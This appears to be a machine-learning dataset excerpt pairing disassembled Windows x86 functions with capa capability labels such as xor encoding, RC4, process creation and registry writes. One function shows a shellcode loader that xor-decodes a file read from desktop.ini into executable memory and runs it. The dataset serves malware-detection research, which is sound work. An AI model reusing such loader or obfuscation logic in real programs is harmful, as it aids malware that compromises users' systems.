joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401937
Capabilities:
Encode data using xor

Disassembly:
push esi
mov eax, section..data
mov ecx, 0x6d86
mov esi, 0x39f990
imul ecx, ecx, 0x19660d
add ecx, 0x3c6ef35f
mov edx, ecx
shr edx, 0xc
xor byte [eax], dl
inc eax
dec esi
jne 0x401947
pop esi
ret

Function at 0x401aa3
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push ebx
mov ebx, eax
push esi
mov esi, dword [ebx + 0x3c]
add esi, ebx
movzx eax, word [esi + 0x14]
push edi
lea edi, [eax + esi + 0x18]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x401aea
push 7
push str..custom
push edi
call fcn.0040161c
add esp, 0xc
test eax, eax
je 0x401af1
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add edi, 0x28
cmp dword [ebp - 4], eax
jl 0x401ac7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [edi + 0xc]
mov esi, dword [eax + ebx]
lea edi, [eax + ebx + 8]
mov ebx, dword [eax + ebx + 4]
push esi
call fcn.00401e30
and dword [ebp - 8], 0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 8]
push ecx
push 1
push 5
push edi
lea ecx, [ebp - 0xc]
push ecx
add edi, 5
push edi
lea ecx, [ebp - 0x10]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x18], 0x401960
mov dword [ebp - 0x14], 0x40196b
call fcn.0040379c
add esp, 0x28
test eax, eax
je 0x401b51
push dword [ebp - 4]
call fcn.00401e47
pop ecx
jmp 0x401aea
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov eax, dword [ebp - 4]
jmp 0x401aec

Function at 0x401d84
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push esi
xor esi, esi
test ebx, ebx
je 0x401dc3
push edi
mov edi, dword [esp + 0x14]
sub edi, 0x1389998
imul edx, edx, 0x19660d
add edx, 0x3c6ef35f
mov eax, edx
shr eax, 0xc
xor al, byte [edi + esi + 0x1389998]
inc esi
mov byte [esi + 0x1389997], al
cmp esi, ebx
jb 0x401d9f
pop edi
pop esi
mov byte [ebx + 0x1389998], 0
mov eax, 0x1389998
pop ebx
ret

Function at 0x401dd2
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x401e10
mov eax, dword [esp + 0x10]
sub eax, 0x1389998
push ebx
imul edx, edx, 0x19660d
add edx, 0x3c6ef35f
mov ebx, edx
shr ebx, 0xc
xor bl, byte [eax + esi + 0x1389998]
inc esi
mov byte [esi + 0x1389997], bl
cmp esi, edi
jb 0x401dec
pop ebx
mov byte [edi + 0x1389998], 0
mov byte [edi + 0x1389999], 0
pop edi
mov eax, 0x1389998
pop esi
ret
Function at 0x401eec
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x401f05
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 4], ecx
lea edi, [eax + esi]
jmp 0x401f28
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x401f2d
inc edi
cmp edi, dword [ebp - 4]
jb 0x401f1f
mov eax, edi
sub eax, esi
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 4]
jae 0x402025
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x401f84
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp + 0xc], eax
test cl, cl
je 0x401f58
cmp cl, 0xff
jne 0x401faf
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
cmp dword [ebp + 0x18], 0
je 0x401fbd
lea ebx, [esi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x401fc4
dec ecx
shl edx, cl
and edx, 7
je 0x401f49
movzx ecx, byte [edx + 0xfe9294]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0xfe928c], 0
mov cl, byte [ebx + 4]
je 0x401fac
test cl, cl
je 0x401fac
cmp cl, 0xff
jne 0x401f49
mov dword [ebp + 0xc], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x401f1a
sub esi, eax
sub esi, dword [ebp + 0x10]
mov ebx, esi
test edx, edx
je 0x401ff8
movzx esi, byte [edx + 0xfe9294]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
mov eax, ebx
shr eax, cl
test al, al
je 0x401fe3
cmp al, 0xff
jne 0x401ff5
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, ebx
jmp 0x401f76
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x401f1a
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402290
Capabilities:
Check for time delay via gettickcount
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x8000
push eax
call fcn.00424f2a
mov esi, eax
push esi
call fcn.00424e2b
mov edi, eax
push edi
call fcn.00412d38
mov ebx, eax
push edi
push ebx
push esi
call fcn.00424d2e
push esi
call fcn.0042469f
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0x24
call esi
cmp byte [esp + 0x20], 0
je 0x4022f4
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
push edi
push ebx
call fcn.00412350
add esp, 0x14
jmp 0x402308
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push edi
push ebx
call fcn.00411fa0
add esp, 0x10
call esi
push ebx
call fcn.00412d2d
mov esi, dword [esp + 0x20]
push esi
call fcn.004245f8
push 0x180
push 0x8101
push esi
call fcn.00424f2a
mov ecx, dword [esp + 0x20]
mov esi, eax
mov eax, dword [esp + 0x24]
push eax
push ecx
push esi
call fcn.004244ec
push esi
call fcn.0042469f
mov edx, dword [esp + 0x30]
push edx
call fcn.00423d2b
add esp, 0x28
pop edi
pop esi
pop ebx
add esp, 8
ret

Function at 0x4023c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4023d9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402414
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402410
lea ebx, [ebx]
cmp esi, eax
jae 0x402414
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402400
cmp esi, eax
jb 0x40241a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403c50
Capabilities:
Get disk size

Disassembly:
lea eax, [ecx + 0x18]
push eax
mov eax, dword [esp + 8]
lea edx, [ecx + 0x10]
push edx
add ecx, 8
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
setne al
ret 4

Function at 0x403e70
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x449f18]
xor eax, esp
mov dword [esp + 0x110], eax
mov ecx, dword [str.SoftwareMicrosoftWindowsCurrentVersion]
push esi
mov esi, dword [esp + 0x11c]
lea eax, [esp + 8]
push eax
push ecx
push 0x80000002
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403f07
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push str.ProgramFilesPath
push edx
mov dword [esp + 0x24], 2
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403efc
mov eax, dword [esp + 0x120]
push eax
push esi
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [esp + 4], eax
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x114]
mov eax, dword [esp + 4]
pop esi
xor ecx, esp
call fcn.00423763
add esp, 0x114
ret 8

Function at 0x4040b0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
push esi
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 4]
inc eax
push eax
push esi
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
add esp, 8
ret
Function at 0x4048f0
Capabilities:
Delete file
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x43933b
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x449f18]
xor eax, esp
mov dword [esp + 0x120], eax
push esi
push edi
mov eax, dword [0x449f18]
xor eax, esp
push eax
lea eax, [esp + 0x130]
mov dword fs:[0], eax
lea eax, [esp + 0x28]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x28]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x404940
mov ecx, dword [str._ddinstall_]
mov edx, dword [0x43d4e4]
mov dword [eax], ecx
mov ecx, dword [0x43d4e8]
mov dword [eax + 4], edx
lea edx, [esp + 0x28]
push 0
push edx
mov dword [eax + 8], ecx
call fcn.00425138
add esp, 8
test eax, eax
jne 0x404a16
lea edi, [esp + 0x28]
dec edi
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404980
mov eax, dword [0x43d4dc]
lea ecx, [esp + 0x10]
mov dword [edi], eax
call fcn.0041def5
push 0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x140], 0
call fcn.0041df8a
test eax, eax
je 0x404a02
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ecx]
lea ecx, [esp + 0x10]
call fcn.0041dbe2
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.0041e138
mov eax, dword [eax]
push eax
call edi
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4049fe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x4049c0
lea ecx, [esp + 0x10]
mov dword [esp + 0x138], 0xffffffff
call fcn.0041df1b
mov ecx, dword [esp + 0x130]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x120]
xor ecx, esp
call fcn.00423763
add esp, 0x130
ret

Function at 0x404a40
Capabilities:
Set registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x14]
mov eax, dword [esp]
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404ab6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404ad6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esp, 8
ret
Function at 0x4054e0
Capabilities:
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x439650
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x449f18]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
push 1
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0
call fcn.00401f70
mov eax, dword [eax]
push 0x43cbd0
push eax
call fcn.00423ae2
add esp, 8
test eax, eax
mov eax, dword [esp + 0xc]
sete bl
add eax, 0xfffffff0
or esi, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405554
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x4055a2
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx - 0xc]
dec eax
push eax
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x2c]
call fcn.00401ff0
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x20], 1
call fcn.004017c0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov byte [esp + 0x1c], 0
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4055a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, esi
je 0x4055c6
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esi
lea edx, [eax + 0xc]
lock xadd dword [edx], esi
dec esi
jmp 0x40561b
mov ecx, dword [esp + 0x24]
push 0x5c
push ecx
call fcn.00425a76
add esp, 8
test eax, eax
jne 0x4055dd
mov eax, esi
jmp 0x4055e1
sub eax, dword [esp + 0x24]
push ecx
mov edx, esp
mov dword [esp + 0x14], esp
push eax
push edx
lea ecx, [esp + 0x30]
call fcn.00401ff0
call fcn.004054e0
mov eax, dword [esp + 0x28]
add esp, 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], esi
dec esi
test esi, esi
jg 0x405629
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x412350
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x43ab88
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov eax, dword [0x449f18]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x54]
lea eax, [edi + edi]
push eax
mov dword [esi], 0x28
mov dword [esp + 0x18], eax
call fcn.00411070
mov ebp, dword [esp + 0x54]
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x4c]
mov dword [ebp], eax
mov dword [eax], edi
mov eax, dword [ebp]
mov byte [eax + 4], cl
movzx eax, byte [edx]
mov dword [esp + 0x58], eax
mov eax, 1
shl eax, cl
xor ecx, ecx
add esp, 4
mov dword [esp + 0x20], vtable.CBinaryTree_class_CBuffer__class_CBuffer___int__int_.0
mov dword [esp + 0x50], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ecx
mov byte [esp + 0x34], cl
cmp edi, ecx
mov ebx, 2
mov dword [esp + 0x40], ecx
mov byte [esp + 0x35], 1
mov dword [esp + 0x30], 0x100
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ebx
jle 0x4124c5
jmp 0x412408
mov eax, dword [esp + 0x50]
dec edi
cmp dword [esp + 0x30], eax
jne 0x412420
lea ecx, [esp + 0x20]
call fcn.00411ce0
mov dword [esp + 0x30], 0x100
mov ecx, dword [esp + 0x4c]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x2c]
call fcn.00412210
cmp dword [eax + 0x18], 1
mov dword [esp + 0x4c], eax
jle 0x412451
test edi, edi
je 0x412451
mov eax, dword [eax + 0x1c]
inc ebx
mov dword [esp + 0x54], eax
mov dword [esp + 0x1c], ebx
jmp 0x4124bd
mov ecx, dword [esi]
mov eax, dword [esp + 0x14]
sar ecx, 3
add ecx, 4
cmp ecx, eax
jl 0x412478
mov edx, dword [ebp]
add eax, 0x64
push eax
push edx
mov dword [esp + 0x1c], eax
call fcn.004110a0
add esp, 8
mov dword [ebp], eax
mov ecx, dword [esi]
mov edx, dword [ebp]
mov eax, ecx
sar eax, 3
add eax, edx
mov edx, dword [esp + 0x54]
and ecx, 7
shl edx, cl
mov ecx, dword [esp + 0x18]
or dword [eax], edx
mov eax, dword [esp + 0x58]
add dword [esi], eax
lea eax, [ecx + ebx - 1]
mov ebx, 2
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
test edi, edi
jle 0x4124b5
movzx edx, byte [eax]
mov dword [esp + 0x54], edx
mov eax, dword [esp + 0x24]
mov dword [esp + 0x4c], eax
test edi, edi
jg 0x412404
mov eax, dword [esi]
add eax, 7
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esi], eax
mov ecx, dword [ebp]
push eax
push ecx
call fcn.004110a0
add esp, 8
lea ecx, [esp + 0x20]
mov dword [ebp], eax
mov dword [esp + 0x20], vtable.CBinaryTree_class_CBuffer__class_CBuffer___int__int_.0
call fcn.00411ce0
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x418f25
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x418f6c
call fcn.0041d2b5
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x418f6c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x418f88
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00418a9f
mov esi, eax
test edi, edi
je 0x418f86
test ebx, ebx
je 0x418f86
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41acdf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x41ad03
cmp dword [edi + 0x54], 0
jne 0x41ad03
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041d2b5
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041aca0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x423763
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x449f18]
jne 0x42376d
repz ret
jmp fcn.0042d37c

Function at 0x4250af
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x4250e0
call fcn.00426ae1
mov dword [eax], esi
call fcn.00426ace
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0042614e
add esp, 0x14
push 0x16
pop eax
jmp 0x425135
test dword [ebp + 0xc], 0xfffffff9
jne 0x4250bc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42510d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00426af4
pop ecx
call fcn.00426ace
mov eax, dword [eax]
jmp 0x425135
test al, 0x10
jne 0x425133
test al, 1
je 0x425133
test byte [ebp + 0xc], 2
je 0x425133
call fcn.00426ae1
mov dword [eax], 5
call fcn.00426ace
mov dword [eax], 0xd
jmp 0x425104
xor eax, eax
pop esi
pop ebp
ret
Function at 0x435407
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042cd65
and dword [ebp - 4], 0
cmp dword [0x44dd68], 0
mov ebx, eax
jne 0x4354b8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x435569
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x441bbc
push edi
call esi
test eax, eax
je 0x435569
push eax
call fcn.0042ccf3
mov dword [esp], 0x441bac
push edi
mov dword [0x44dd68], eax
call esi
push eax
call fcn.0042ccf3
mov dword [esp], 0x441b98
push edi
mov dword [0x44dd6c], eax
call esi
push eax
call fcn.0042ccf3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44dd70], eax
call esi
push eax
call fcn.0042ccf3
pop ecx
mov dword [0x44dd78], eax
test eax, eax
je 0x4354b8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042ccf3
pop ecx
mov dword [0x44dd74], eax
mov eax, dword [0x44dd74]
cmp eax, ebx
je 0x435510
cmp dword [0x44dd78], ebx
je 0x435510
push eax
call fcn.0042cd6e
push dword [0x44dd78]
mov esi, eax
call fcn.0042cd6e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x435510
test edi, edi
je 0x435510
call esi
test eax, eax
je 0x435507
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x435507
test byte [ebp - 0xc], 1
jne 0x435510
or dword [ebp + 0x10], 0x200000
jmp 0x435549
mov eax, dword [0x44dd6c]
cmp eax, ebx
je 0x435549
push eax
call fcn.0042cd6e
pop ecx
test eax, eax
je 0x435549
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x435549
mov eax, dword [0x44dd70]
cmp eax, ebx
je 0x435549
push eax
call fcn.0042cd6e
pop ecx
test eax, eax
je 0x435549
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44dd68]
call fcn.0042cd6e
pop ecx
test eax, eax
je 0x435569
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43556b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret